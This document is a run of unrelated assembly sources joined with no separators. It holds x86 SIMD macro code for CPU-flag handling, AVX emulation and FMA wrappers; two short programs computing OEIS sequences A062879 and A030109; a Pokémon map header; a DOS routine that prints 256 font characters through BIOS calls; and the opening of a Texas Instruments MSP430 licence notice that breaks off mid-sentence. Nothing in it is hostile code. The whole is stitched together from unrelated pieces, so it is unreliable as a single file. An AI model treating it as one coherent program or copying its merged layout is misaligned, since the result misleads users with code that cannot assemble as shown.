a function variant %assign cpuflags_atom (1<<21) %assign cpuflags_bmi1 (1<<22)|cpuflags_lzcnt %assign cpuflags_bmi2 (1<<23)|cpuflags_bmi1 %define cpuflag(x) ((cpuflags & (cpuflags_ %+ x)) == (cpuflags_ %+ x)) %define notcpuflag(x) ((cpuflags & (cpuflags_ %+ x)) != (cpuflags_ %+ x)) ; Takes an arbitrary number of cpuflags from the above list. ; All subsequent functions (up to the next INIT_CPUFLAGS) is built for the specified cpu. ; You shouldn't need to invoke this macro directly, it's a subroutine for INIT_MMX &co. %macro INIT_CPUFLAGS 0-* %xdefine SUFFIX %undef cpuname %assign cpuflags 0 %if %0 >= 1 %rep %0 %ifdef cpuname %xdefine cpuname cpuname %+ _%1 %else %xdefine cpuname %1 %endif %assign cpuflags cpuflags | cpuflags_%1 %rotate 1 %endrep %xdefine SUFFIX _ %+ cpuname %if cpuflag(avx) %assign avx_enabled 1 %endif %if (mmsize == 16 && notcpuflag(sse2)) || (mmsize == 32 && notcpuflag(avx2)) %define mova movaps %define movu movups %define movnta movntps %endif %if cpuflag(aligned) %define movu mova %elif cpuflag(sse3) && notcpuflag(ssse3) %define movu lddqu %endif %endif %if ARCH_X86_64 || cpuflag(sse2) %ifdef __NASM_VER__ ALIGNMODE k8 %else CPU amdnop %endif %else %ifdef __NASM_VER__ ALIGNMODE nop %else CPU basicnop %endif %endif %endmacro ; Merge mmx and sse* ; m# is a simd register of the currently selected size ; xm# is the corresponding xmm register if mmsize >= 16, otherwise the same as m# ; ym# is the corresponding ymm register if mmsize >= 32, otherwise the same as m# ; (All 3 remain in sync through SWAP.) %macro CAT_XDEFINE 3 %xdefine %1%2 %3 %endmacro %macro CAT_UNDEF 2 %undef %1%2 %endmacro %macro INIT_MMX 0-1+ %assign avx_enabled 0 %define RESET_MM_PERMUTATION INIT_MMX %1 %define mmsize 8 %define num_mmregs 8 %define mova movq %define movu movq %define movh movd %define movnta movntq %assign %%i 0 %rep 8 CAT_XDEFINE m, %%i, mm %+ %%i CAT_XDEFINE nnmm, %%i, %%i %assign %%i %%i+1 %endrep %rep 8 CAT_UNDEF m, %%i CAT_UNDEF nnmm, %%i %assign %%i %%i+1 %endrep INIT_CPUFLAGS %1 %endmacro %macro INIT_XMM 0-1+ %assign avx_enabled 0 %define RESET_MM_PERMUTATION INIT_XMM %1 %define mmsize 16 %define num_mmregs 8 %if ARCH_X86_64 %define num_mmregs 16 %endif %define mova movdqa %define movu movdqu %define movh movq %define movnta movntdq %assign %%i 0 %rep num_mmregs CAT_XDEFINE m, %%i, xmm %+ %%i CAT_XDEFINE nnxmm, %%i, %%i %assign %%i %%i+1 %endrep INIT_CPUFLAGS %1 %endmacro %macro INIT_YMM 0-1+ %assign avx_enabled 1 %define RESET_MM_PERMUTATION INIT_YMM %1 %define mmsize 32 %define num_mmregs 8 %if ARCH_X86_64 %define num_mmregs 16 %endif %define mova movdqa %define movu movdqu %undef movh %define movnta movntdq %assign %%i 0 %rep num_mmregs CAT_XDEFINE m, %%i, ymm %+ %%i CAT_XDEFINE nnymm, %%i, %%i %assign %%i %%i+1 %endrep INIT_CPUFLAGS %1 %endmacro INIT_XMM %macro DECLARE_MMCAST 1 %define mmmm%1 mm%1 %define mmxmm%1 mm%1 %define mmymm%1 mm%1 %define xmmmm%1 mm%1 %define xmmxmm%1 xmm%1 %define xmmymm%1 xmm%1 %define ymmmm%1 mm%1 %define ymmxmm%1 xmm%1 %define ymmymm%1 ymm%1 %define xm%1 xmm %+ m%1 %define ym%1 ymm %+ m%1 %endmacro %assign i 0 %rep 16 DECLARE_MMCAST i %assign i i+1 %endrep ; I often want to use macros that permute their arguments. e.g. there's no ; efficient way to implement butterfly or transpose or dct without swapping some ; arguments. ; ; I would like to not have to manually keep track of the permutations: ; If I insert a permutation in the middle of a function, it should automatically ; change everything that follows. For more complex macros I may also have multiple ; implementations, e.g. the SSE2 and SSSE3 versions may have different permutations. ; ; Hence these macros. Insert a PERMUTE or some SWAPs at the end of a macro that ; permutes its arguments. It's equivalent to exchanging the contents of the ; registers, except that this way you exchange the register names instead, so it ; doesn't cost any cycles. %macro PERMUTE 2-* ; takes a list of pairs to swap %rep %0/2 %xdefine %%tmp%2 m%2 %rotate 2 %endrep %rep %0/2 %xdefine m%1 %%tmp%2 CAT_XDEFINE nn, m%1, %1 %rotate 2 %endrep %endmacro %macro SWAP 2+ ; swaps a single chain (sometimes more concise than pairs) %ifnum %1 ; SWAP 0, 1, ... SWAP_INTERNAL_NUM %1, %2 %else ; SWAP m0, m1, ... SWAP_INTERNAL_NAME %1, %2 %endif %endmacro %macro SWAP_INTERNAL_NUM 2-* %rep %0-1 %xdefine %%tmp m%1 %xdefine m%1 m%2 %xdefine m%2 %%tmp CAT_XDEFINE nn, m%1, %1 CAT_XDEFINE nn, m%2, %2 %rotate 1 %endrep %endmacro %macro SWAP_INTERNAL_NAME 2-* %xdefine %%args nn %+ %1 %rep %0-1 %xdefine %%args %%args, nn %+ %2 %rotate 1 %endrep SWAP_INTERNAL_NUM %%args %endmacro ; If SAVE_MM_PERMUTATION is placed at the end of a function, then any later ; calls to that function will automatically load the permutation, so values can ; be returned in mmregs. %macro SAVE_MM_PERMUTATION 0-1 %if %0 %xdefine %%f %1_m %else %xdefine %%f current_function %+ _m %endif %assign %%i 0 %rep num_mmregs CAT_XDEFINE %%f, %%i, m %+ %%i %assign %%i %%i+1 %endrep %endmacro %macro LOAD_MM_PERMUTATION 1 ; name to load from %ifdef %1_m0 %assign %%i 0 %rep num_mmregs CAT_XDEFINE m, %%i, %1_m %+ %%i CAT_XDEFINE nn, m %+ %%i, %%i %assign %%i %%i+1 %endrep %endif %endmacro ; Append cpuflags to the callee's name iff the appended name is known and the plain name isn't %macro call 1 call_internal %1, %1 %+ SUFFIX %endmacro %macro call_internal 2 %xdefine %%i %1 %ifndef cglobaled_%1 %ifdef cglobaled_%2 %xdefine %%i %2 %endif %endif call %%i LOAD_MM_PERMUTATION %%i %endmacro ; Substitutions that reduce instruction size but are functionally equivalent %macro add 2 %ifnum %2 %if %2==128 sub %1, -128 %else add %1, %2 %endif %else add %1, %2 %endif %endmacro %macro sub 2 %ifnum %2 %if %2==128 add %1, -128 %else sub %1, %2 %endif %else sub %1, %2 %endif %endmacro ;============================================================================= ; AVX abstraction layer ;============================================================================= %assign i 0 %rep 16 %if i < 8 CAT_XDEFINE sizeofmm, i, 8 %endif CAT_XDEFINE sizeofxmm, i, 16 CAT_XDEFINE sizeofymm, i, 32 %assign i i+1 %endrep %undef i %macro CHECK_AVX_INSTR_EMU 3-* %xdefine %%opcode %1 %xdefine %%dst %2 %rep %0-2 %ifidn %%dst, %3 %error non-avx emulation of ``%%opcode'' is not supported %endif %rotate 1 %endrep %endmacro ;%1 == instruction ;%2 == minimal instruction set ;%3 == 1 if float, 0 if int ;%4 == 1 if non-destructive or 4-operand (xmm, xmm, xmm, imm), 0 otherwise ;%5 == 1 if commutative (i.e. doesn't matter which src arg is which), 0 if not ;%6+: operands %macro RUN_AVX_INSTR 6-9+ %ifnum sizeof%7 %assign __sizeofreg sizeof%7 %elifnum sizeof%6 %assign __sizeofreg sizeof%6 %else %assign __sizeofreg mmsize %endif %assign __emulate_avx 0 %if avx_enabled && __sizeofreg >= 16 %xdefine __instr v%1 %else %xdefine __instr %1 %if %0 >= 8+%4 %assign __emulate_avx 1 %endif %endif %ifnidn %2, fnord %ifdef cpuname %if notcpuflag(%2) %error use of ``%1'' %2 instruction in cpuname function: current_function %elif cpuflags_%2 < cpuflags_sse && notcpuflag(sse2) && __sizeofreg > 8 %error use of ``%1'' sse2 instruction in cpuname function: current_function %endif %endif %endif %if __emulate_avx %xdefine __src1 %7 %xdefine __src2 %8 %ifnidn %6, %7 %if %0 >= 9 CHECK_AVX_INSTR_EMU {%1 %6, %7, %8, %9}, %6, %8, %9 %else CHECK_AVX_INSTR_EMU {%1 %6, %7, %8}, %6, %8 %endif %if %5 && %4 == 0 %ifnid %8 ; 3-operand AVX instructions with a memory arg can only have it in src2, ; whereas SSE emulation prefers to have it in src1 (i.e. the mov). ; So, if the instruction is commutative with a memory arg, swap them. %xdefine __src1 %8 %xdefine __src2 %7 %endif %endif %if __sizeofreg == 8 MOVQ %6, __src1 %elif %3 MOVAPS %6, __src1 %else MOVDQA %6, __src1 %endif %endif %if %0 >= 9 %1 %6, __src2, %9 %else %1 %6, __src2 %endif %elif %0 >= 9 __instr %6, %7, %8, %9 %elif %0 == 8 __instr %6, %7, %8 %elif %0 == 7 __instr %6, %7 %else __instr %6 %endif %endmacro ;%1 == instruction ;%2 == minimal instruction set ;%3 == 1 if float, 0 if int ;%4 == 1 if non-destructive or 4-operand (xmm, xmm, xmm, imm), 0 otherwise ;%5 == 1 if commutative (i.e. doesn't matter which src arg is which), 0 if not %macro AVX_INSTR 1-5 fnord, 0, 1, 0 %macro %1 1-10 fnord, fnord, fnord, fnord, %1, %2, %3, %4, %5 %ifidn %2, fnord RUN_AVX_INSTR %6, %7, %8, %9, %10, %1 %elifidn %3, fnord RUN_AVX_INSTR %6, %7, %8, %9, %10, %1, %2 %elifidn %4, fnord RUN_AVX_INSTR %6, %7, %8, %9, %10, %1, %2, %3 %elifidn %5, fnord RUN_AVX_INSTR %6, %7, %8, %9, %10, %1, %2, %3, %4 %else RUN_AVX_INSTR %6, %7, %8, %9, %10, %1, %2, %3, %4, %5 %endif %endmacro %endmacro ; Instructions with both VEX and non-VEX encodings ; Non-destructive instructions are written without parameters AVX_INSTR addpd, sse2, 1, 0, 1 AVX_INSTR addps, sse, 1, 0, 1 AVX_INSTR addsd, sse2, 1, 0, 1 AVX_INSTR addss, sse, 1, 0, 1 AVX_INSTR addsubpd, sse3, 1, 0, 0 AVX_INSTR addsubps, sse3, 1, 0, 0 AVX_INSTR aesdec, fnord, 0, 0, 0 AVX_INSTR aesdeclast, fnord, 0, 0, 0 AVX_INSTR aesenc, fnord, 0, 0, 0 AVX_INSTR aesenclast, fnord, 0, 0, 0 AVX_INSTR aesimc AVX_INSTR aeskeygenassist AVX_INSTR andnpd, sse2, 1, 0, 0 AVX_INSTR andnps, sse, 1, 0, 0 AVX_INSTR andpd, sse2, 1, 0, 1 AVX_INSTR andps, sse, 1, 0, 1 AVX_INSTR blendpd, sse4, 1, 0, 0 AVX_INSTR blendps, sse4, 1, 0, 0 AVX_INSTR blendvpd, sse4, 1, 0, 0 AVX_INSTR blendvps, sse4, 1, 0, 0 AVX_INSTR cmppd, sse2, 1, 1, 0 AVX_INSTR cmpps, sse, 1, 1, 0 AVX_INSTR cmpsd, sse2, 1, 1, 0 AVX_INSTR cmpss, sse, 1, 1, 0 AVX_INSTR comisd, sse2 AVX_INSTR comiss, sse AVX_INSTR cvtdq2pd, sse2 AVX_INSTR cvtdq2ps, sse2 AVX_INSTR cvtpd2dq, sse2 AVX_INSTR cvtpd2ps, sse2 AVX_INSTR cvtps2dq, sse2 AVX_INSTR cvtps2pd, sse2 AVX_INSTR cvtsd2si, sse2 AVX_INSTR cvtsd2ss, sse2 AVX_INSTR cvtsi2sd, sse2 AVX_INSTR cvtsi2ss, sse AVX_INSTR cvtss2sd, sse2 AVX_INSTR cvtss2si, sse AVX_INSTR cvttpd2dq, sse2 AVX_INSTR cvttps2dq, sse2 AVX_INSTR cvttsd2si, sse2 AVX_INSTR cvttss2si, sse AVX_INSTR divpd, sse2, 1, 0, 0 AVX_INSTR divps, sse, 1, 0, 0 AVX_INSTR divsd, sse2, 1, 0, 0 AVX_INSTR divss, sse, 1, 0, 0 AVX_INSTR dppd, sse4, 1, 1, 0 AVX_INSTR dpps, sse4, 1, 1, 0 AVX_INSTR extractps, sse4 AVX_INSTR haddpd, sse3, 1, 0, 0 AVX_INSTR haddps, sse3, 1, 0, 0 AVX_INSTR hsubpd, sse3, 1, 0, 0 AVX_INSTR hsubps, sse3, 1, 0, 0 AVX_INSTR insertps, sse4, 1, 1, 0 AVX_INSTR lddqu, sse3 AVX_INSTR ldmxcsr, sse AVX_INSTR maskmovdqu, sse2 AVX_INSTR maxpd, sse2, 1, 0, 1 AVX_INSTR maxps, sse, 1, 0, 1 AVX_INSTR maxsd, sse2, 1, 0, 1 AVX_INSTR maxss, sse, 1, 0, 1 AVX_INSTR minpd, sse2, 1, 0, 1 AVX_INSTR minps, sse, 1, 0, 1 AVX_INSTR minsd, sse2, 1, 0, 1 AVX_INSTR minss, sse, 1, 0, 1 AVX_INSTR movapd, sse2 AVX_INSTR movaps, sse AVX_INSTR movd, mmx AVX_INSTR movddup, sse3 AVX_INSTR movdqa, sse2 AVX_INSTR movdqu, sse2 AVX_INSTR movhlps, sse, 1, 0, 0 AVX_INSTR movhpd, sse2, 1, 0, 0 AVX_INSTR movhps, sse, 1, 0, 0 AVX_INSTR movlhps, sse, 1, 0, 0 AVX_INSTR movlpd, sse2, 1, 0, 0 AVX_INSTR movlps, sse, 1, 0, 0 AVX_INSTR movmskpd, sse2 AVX_INSTR movmskps, sse AVX_INSTR movntdq, sse2 AVX_INSTR movntdqa, sse4 AVX_INSTR movntpd, sse2 AVX_INSTR movntps, sse AVX_INSTR movq, mmx AVX_INSTR movsd, sse2, 1, 0, 0 AVX_INSTR movshdup, sse3 AVX_INSTR movsldup, sse3 AVX_INSTR movss, sse, 1, 0, 0 AVX_INSTR movupd, sse2 AVX_INSTR movups, sse AVX_INSTR mpsadbw, sse4 AVX_INSTR mulpd, sse2, 1, 0, 1 AVX_INSTR mulps, sse, 1, 0, 1 AVX_INSTR mulsd, sse2, 1, 0, 1 AVX_INSTR mulss, sse, 1, 0, 1 AVX_INSTR orpd, sse2, 1, 0, 1 AVX_INSTR orps, sse, 1, 0, 1 AVX_INSTR pabsb, ssse3 AVX_INSTR pabsd, ssse3 AVX_INSTR pabsw, ssse3 AVX_INSTR packsswb, mmx, 0, 0, 0 AVX_INSTR packssdw, mmx, 0, 0, 0 AVX_INSTR packuswb, mmx, 0, 0, 0 AVX_INSTR packusdw, sse4, 0, 0, 0 AVX_INSTR paddb, mmx, 0, 0, 1 AVX_INSTR paddw, mmx, 0, 0, 1 AVX_INSTR paddd, mmx, 0, 0, 1 AVX_INSTR paddq, sse2, 0, 0, 1 AVX_INSTR paddsb, mmx, 0, 0, 1 AVX_INSTR paddsw, mmx, 0, 0, 1 AVX_INSTR paddusb, mmx, 0, 0, 1 AVX_INSTR paddusw, mmx, 0, 0, 1 AVX_INSTR palignr, ssse3 AVX_INSTR pand, mmx, 0, 0, 1 AVX_INSTR pandn, mmx, 0, 0, 0 AVX_INSTR pavgb, mmx2, 0, 0, 1 AVX_INSTR pavgw, mmx2, 0, 0, 1 AVX_INSTR pblendvb, sse4, 0, 0, 0 AVX_INSTR pblendw, sse4 AVX_INSTR pclmulqdq AVX_INSTR pcmpestri, sse42 AVX_INSTR pcmpestrm, sse42 AVX_INSTR pcmpistri, sse42 AVX_INSTR pcmpistrm, sse42 AVX_INSTR pcmpeqb, mmx, 0, 0, 1 AVX_INSTR pcmpeqw, mmx, 0, 0, 1 AVX_INSTR pcmpeqd, mmx, 0, 0, 1 AVX_INSTR pcmpeqq, sse4, 0, 0, 1 AVX_INSTR pcmpgtb, mmx, 0, 0, 0 AVX_INSTR pcmpgtw, mmx, 0, 0, 0 AVX_INSTR pcmpgtd, mmx, 0, 0, 0 AVX_INSTR pcmpgtq, sse42, 0, 0, 0 AVX_INSTR pextrb, sse4 AVX_INSTR pextrd, sse4 AVX_INSTR pextrq, sse4 AVX_INSTR pextrw, mmx2 AVX_INSTR phaddw, ssse3, 0, 0, 0 AVX_INSTR phaddd, ssse3, 0, 0, 0 AVX_INSTR phaddsw, ssse3, 0, 0, 0 AVX_INSTR phminposuw, sse4 AVX_INSTR phsubw, ssse3, 0, 0, 0 AVX_INSTR phsubd, ssse3, 0, 0, 0 AVX_INSTR phsubsw, ssse3, 0, 0, 0 AVX_INSTR pinsrb, sse4 AVX_INSTR pinsrd, sse4 AVX_INSTR pinsrq, sse4 AVX_INSTR pinsrw, mmx2 AVX_INSTR pmaddwd, mmx, 0, 0, 1 AVX_INSTR pmaddubsw, ssse3, 0, 0, 0 AVX_INSTR pmaxsb, sse4, 0, 0, 1 AVX_INSTR pmaxsw, mmx2, 0, 0, 1 AVX_INSTR pmaxsd, sse4, 0, 0, 1 AVX_INSTR pmaxub, mmx2, 0, 0, 1 AVX_INSTR pmaxuw, sse4, 0, 0, 1 AVX_INSTR pmaxud, sse4, 0, 0, 1 AVX_INSTR pminsb, sse4, 0, 0, 1 AVX_INSTR pminsw, mmx2, 0, 0, 1 AVX_INSTR pminsd, sse4, 0, 0, 1 AVX_INSTR pminub, mmx2, 0, 0, 1 AVX_INSTR pminuw, sse4, 0, 0, 1 AVX_INSTR pminud, sse4, 0, 0, 1 AVX_INSTR pmovmskb, mmx2 AVX_INSTR pmovsxbw, sse4 AVX_INSTR pmovsxbd, sse4 AVX_INSTR pmovsxbq, sse4 AVX_INSTR pmovsxwd, sse4 AVX_INSTR pmovsxwq, sse4 AVX_INSTR pmovsxdq, sse4 AVX_INSTR pmovzxbw, sse4 AVX_INSTR pmovzxbd, sse4 AVX_INSTR pmovzxbq, sse4 AVX_INSTR pmovzxwd, sse4 AVX_INSTR pmovzxwq, sse4 AVX_INSTR pmovzxdq, sse4 AVX_INSTR pmuldq, sse4, 0, 0, 1 AVX_INSTR pmulhrsw, ssse3, 0, 0, 1 AVX_INSTR pmulhuw, mmx2, 0, 0, 1 AVX_INSTR pmulhw, mmx, 0, 0, 1 AVX_INSTR pmullw, mmx, 0, 0, 1 AVX_INSTR pmulld, sse4, 0, 0, 1 AVX_INSTR pmuludq, sse2, 0, 0, 1 AVX_INSTR por, mmx, 0, 0, 1 AVX_INSTR psadbw, mmx2, 0, 0, 1 AVX_INSTR pshufb, ssse3, 0, 0, 0 AVX_INSTR pshufd, sse2 AVX_INSTR pshufhw, sse2 AVX_INSTR pshuflw, sse2 AVX_INSTR psignb, ssse3, 0, 0, 0 AVX_INSTR psignw, ssse3, 0, 0, 0 AVX_INSTR psignd, ssse3, 0, 0, 0 AVX_INSTR psllw, mmx, 0, 0, 0 AVX_INSTR pslld, mmx, 0, 0, 0 AVX_INSTR psllq, mmx, 0, 0, 0 AVX_INSTR pslldq, sse2, 0, 0, 0 AVX_INSTR psraw, mmx, 0, 0, 0 AVX_INSTR psrad, mmx, 0, 0, 0 AVX_INSTR psrlw, mmx, 0, 0, 0 AVX_INSTR psrld, mmx, 0, 0, 0 AVX_INSTR psrlq, mmx, 0, 0, 0 AVX_INSTR psrldq, sse2, 0, 0, 0 AVX_INSTR psubb, mmx, 0, 0, 0 AVX_INSTR psubw, mmx, 0, 0, 0 AVX_INSTR psubd, mmx, 0, 0, 0 AVX_INSTR psubq, sse2, 0, 0, 0 AVX_INSTR psubsb, mmx, 0, 0, 0 AVX_INSTR psubsw, mmx, 0, 0, 0 AVX_INSTR psubusb, mmx, 0, 0, 0 AVX_INSTR psubusw, mmx, 0, 0, 0 AVX_INSTR ptest, sse4 AVX_INSTR punpckhbw, mmx, 0, 0, 0 AVX_INSTR punpckhwd, mmx, 0, 0, 0 AVX_INSTR punpckhdq, mmx, 0, 0, 0 AVX_INSTR punpckhqdq, sse2, 0, 0, 0 AVX_INSTR punpcklbw, mmx, 0, 0, 0 AVX_INSTR punpcklwd, mmx, 0, 0, 0 AVX_INSTR punpckldq, mmx, 0, 0, 0 AVX_INSTR punpcklqdq, sse2, 0, 0, 0 AVX_INSTR pxor, mmx, 0, 0, 1 AVX_INSTR rcpps, sse, 1, 0, 0 AVX_INSTR rcpss, sse, 1, 0, 0 AVX_INSTR roundpd, sse4 AVX_INSTR roundps, sse4 AVX_INSTR roundsd, sse4 AVX_INSTR roundss, sse4 AVX_INSTR rsqrtps, sse, 1, 0, 0 AVX_INSTR rsqrtss, sse, 1, 0, 0 AVX_INSTR shufpd, sse2, 1, 1, 0 AVX_INSTR shufps, sse, 1, 1, 0 AVX_INSTR sqrtpd, sse2, 1, 0, 0 AVX_INSTR sqrtps, sse, 1, 0, 0 AVX_INSTR sqrtsd, sse2, 1, 0, 0 AVX_INSTR sqrtss, sse, 1, 0, 0 AVX_INSTR stmxcsr, sse AVX_INSTR subpd, sse2, 1, 0, 0 AVX_INSTR subps, sse, 1, 0, 0 AVX_INSTR subsd, sse2, 1, 0, 0 AVX_INSTR subss, sse, 1, 0, 0 AVX_INSTR ucomisd, sse2 AVX_INSTR ucomiss, sse AVX_INSTR unpckhpd, sse2, 1, 0, 0 AVX_INSTR unpckhps, sse, 1, 0, 0 AVX_INSTR unpcklpd, sse2, 1, 0, 0 AVX_INSTR unpcklps, sse, 1, 0, 0 AVX_INSTR xorpd, sse2, 1, 0, 1 AVX_INSTR xorps, sse, 1, 0, 1 ; 3DNow instructions, for sharing code between AVX, SSE and 3DN AVX_INSTR pfadd, 3dnow, 1, 0, 1 AVX_INSTR pfsub, 3dnow, 1, 0, 0 AVX_INSTR pfmul, 3dnow, 1, 0, 1 ; base-4 constants for shuffles %assign i 0 %rep 256 %assign j ((i>>6)&3)*1000 + ((i>>4)&3)*100 + ((i>>2)&3)*10 + (i&3) %if j < 10 CAT_XDEFINE q000, j, i %elif j < 100 CAT_XDEFINE q00, j, i %elif j < 1000 CAT_XDEFINE q0, j, i %else CAT_XDEFINE q, j, i %endif %assign i i+1 %endrep %undef i %undef j %macro FMA_INSTR 3 %macro %1 4-7 %1, %2, %3 %if cpuflag(xop) v%5 %1, %2, %3, %4 %elifnidn %1, %4 %6 %1, %2, %3 %7 %1, %4 %else %error non-xop emulation of ``%5 %1, %2, %3, %4'' is not supported %endif %endmacro %endmacro FMA_INSTR pmacsww, pmullw, paddw FMA_INSTR pmacsdd, pmulld, paddd ; sse4 emulation FMA_INSTR pmacsdql, pmuldq, paddq ; sse4 emulation FMA_INSTR pmadcswd, pmaddwd, paddd ; convert FMA4 to FMA3 if possible %macro FMA4_INSTR 4 %macro %1 4-8 %1, %2, %3, %4 %if cpuflag(fma4) v%5 %1, %2, %3, %4 %elifidn %1, %2 v%6 %1, %4, %3 ; %1 = %1 * %3 + %4 %elifidn %1, %3 v%7 %1, %2, %4 ; %1 = %2 * %1 + %4 %elifidn %1, %4 v%8 %1, %2, %3 ; %1 = %2 * %3 + %1 %else %error fma3 emulation of ``%5 %1, %2, %3, %4'' is not supported %endif %endmacro %endmacro FMA4_INSTR fmaddpd, fmadd132pd, fmadd213pd, fmadd231pd FMA4_INSTR fmaddps, fmadd132ps, fmadd213ps, fmadd231ps FMA4_INSTR fmaddsd, fmadd132sd, fmadd213sd, fmadd231sd FMA4_INSTR fmaddss, fmadd132ss, fmadd213ss, fmadd231ss FMA4_INSTR fmaddsubpd, fmaddsub132pd, fmaddsub213pd, fmaddsub231pd FMA4_INSTR fmaddsubps, fmaddsub132ps, fmaddsub213ps, fmaddsub231ps FMA4_INSTR fmsubaddpd, fmsubadd132pd, fmsubadd213pd, fmsubadd231pd FMA4_INSTR fmsubaddps, fmsubadd132ps, fmsubadd213ps, fmsubadd231ps FMA4_INSTR fmsubpd, fmsub132pd, fmsub213pd, fmsub231pd FMA4_INSTR fmsubps, fmsub132ps, fmsub213ps, fmsub231ps FMA4_INSTR fmsubsd, fmsub132sd, fmsub213sd, fmsub231sd FMA4_INSTR fmsubss, fmsub132ss, fmsub213ss, fmsub231ss FMA4_INSTR fnmaddpd, fnmadd132pd, fnmadd213pd, fnmadd231pd FMA4_INSTR fnmaddps, fnmadd132ps, fnmadd213ps, fnmadd231ps FMA4_INSTR fnmaddsd, fnmadd132sd, fnmadd213sd, fnmadd231sd FMA4_INSTR fnmaddss, fnmadd132ss, fnmadd213ss, fnmadd231ss FMA4_INSTR fnmsubpd, fnmsub132pd, fnmsub213pd, fnmsub231pd FMA4_INSTR fnmsubps, fnmsub132ps, fnmsub213ps, fnmsub231ps FMA4_INSTR fnmsubsd, fnmsub132sd, fnmsub213sd, fnmsub231sd FMA4_INSTR fnmsubss, fnmsub132ss, fnmsub213ss, fnmsub231ss ; workaround: vpbroadcastq is broken in x86_32 due to a yasm bug (fixed in 1.3.0) %ifdef __YASM_VER__ %if __YASM_VERSION_ID__ < 0x01030000 && ARCH_X86_64 == 0 %macro vpbroadcastq 2 %if sizeof%1 == 16 movddup %1, %2 %else vbroadcastsd %1, %2 %endif %endmacro %endif %endif
; A062879: Integers whose Zeckendorf expansion does not contain ones at even positions. ; Submitted by Jon Maiga ; 0,2,5,7,13,15,18,20,34,36,39,41,47,49,52,54,89,91,94,96,102,104,107,109,123,125,128,130,136,138,141,143,233,235,238,240,246,248,251,253,267,269,272,274,280,282,285,287,322,324,327,329,335,337,340,342,356,358,361,363,369,371,374,376,610,612,615,617,623,625,628,630,644,646,649,651,657,659,662,664,699,701,704,706,712,714,717,719,733,735,738,740,746,748,751,753,843,845,848,850 mov $2,$0 mov $4,2 mov $5,$0 lpb $2 mov $0,$5 mov $1,1 sub $2,1 sub $0,$2 mov $3,1 lpb $0 dif $0,2 add $1,$3 add $3,$1 lpe mov $0,$1 add $0,1 add $4,$0 lpe mov $0,$4 sub $0,2
; A030109: Write n in binary, reverse bits, subtract 1, divide by 2. ; 0,0,1,0,2,1,3,0,4,2,6,1,5,3,7,0,8,4,12,2,10,6,14,1,9,5,13,3,11,7,15,0,16,8,24,4,20,12,28,2,18,10,26,6,22,14,30,1,17,9,25,5,21,13,29,3,19,11,27,7,23,15,31,0,32,16,48,8,40,24,56,4,36,20,52,12,44,28,60,2,34,18,50,10,42,26,58,6,38,22,54,14,46,30,62,1,33,17,49,9 mov $1,$0 lpb $1 mul $0,2 sub $0,$1 sub $0,1 sub $1,1 div $1,2 sub $0,$1 lpe
VermilionPokecenter_h: db POKECENTER ; tileset db VERMILION_POKECENTER_HEIGHT, VERMILION_POKECENTER_WIDTH ; dimensions (y, x) dw VermilionPokecenterBlocks, VermilionPokecenterTextPointers, VermilionPokecenterScript ; blocks, texts, scripts db $00 ; connections dw VermilionPokecenterObject ; objects
; Prints all 256 characters of given font. _TEXT segment para public 'CODE' org 100h assume cs:_TEXT,ds:_TEXT,ss:_TEXT ; =============== S U B R O U T I N E ======================================= ; Choose the current display page for all video operations _start proc near mov bh, 0 print_blank_line: ; CODE XREF: _start+37↓j mov ds:chars_left_on_this_line, 64 ; Store 64 character locations left before next newline nop mov ah, 0Eh ; Print blank line (CR+LF) mov al, 0Dh int 10h ; - VIDEO - WRITE CHARACTER AND ADVANCE CURSOR (TTY WRITE) ; AL = character, BH = display page (alpha modes) ; BL = foreground color (graphics modes) mov ah, 0Eh mov al, 0Ah int 10h ; - VIDEO - WRITE CHARACTER AND ADVANCE CURSOR (TTY WRITE) ; AL = character, BH = display page (alpha modes) ; BL = foreground color (graphics modes) dec ds:lines_left ; 5 lines total, one blank line + 4 * 64 = 256 chars total jz short exit_program ; Exit to DOS print_char: ; CODE XREF: _start+35↓j mov ah, 0Ah mov al, ds:char_counter mov cx, 1 int 10h ; - VIDEO - WRITE CHARACTERS ONLY AT CURSOR POSITION ; AL = character, BH = display page - alpha mode ; BL = color of character (graphics mode, PCjr only) ; CX = number of times to write character inc ds:char_counter mov ah, 3 int 10h ; - VIDEO - READ CURSOR POSITION ; BH = page number ; Return: DH,DL = row,column, CH = cursor start line, CL = cursor end line inc dx mov ah, 2 int 10h ; - VIDEO - SET CURSOR POSITION ; DH,DL = row, column (0,0 = upper left) ; BH = page number dec ds:chars_left_on_this_line jnz short print_char jmp short print_blank_line ; Store 64 character locations left before next newline ; --------------------------------------------------------------------------- exit_program: ; CODE XREF: _start+18↑j retn ; Exit to DOS _start endp ; --------------------------------------------------------------------------- char_counter db 0 ; DATA XREF: _start+1C↑r ; _start+24↑w chars_left_on_this_line db 0 ; DATA XREF: _start:print_blank_line↑w ; _start+31↑w lines_left db 5 ; DATA XREF: _start+14↑w _TEXT ends end _start
; --COPYRIGHT--,BSD_EX ; Copyright (c) 2012, Texas Instruments Incorporated ; All rights reserved. ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions ; are met: ; ; * Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; ; * Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in the ; documentation and/or other materials provided with the distribution. ; ; * Neither the name of Texas Instruments Incorporated nor the names of ; its contributors may be used to endorse or promote products derived ; from this software without specific prior written permission. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, ; THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR ; PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR ; CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, ; EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, ; PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; ; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, ; WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR ; OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, ; EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ; ; ****************************************************************************** ; ; MSP430 CODE EXAMPLE DISCLAIMER ; ; MSP430 code examples are self-contained low-level programs that typically ; demonstrate a single peripheral function or device feature in a highly ; concise manner. For this the code may rely on the device's power-on default ; register values and settings such as the clock configuration and care must ; be 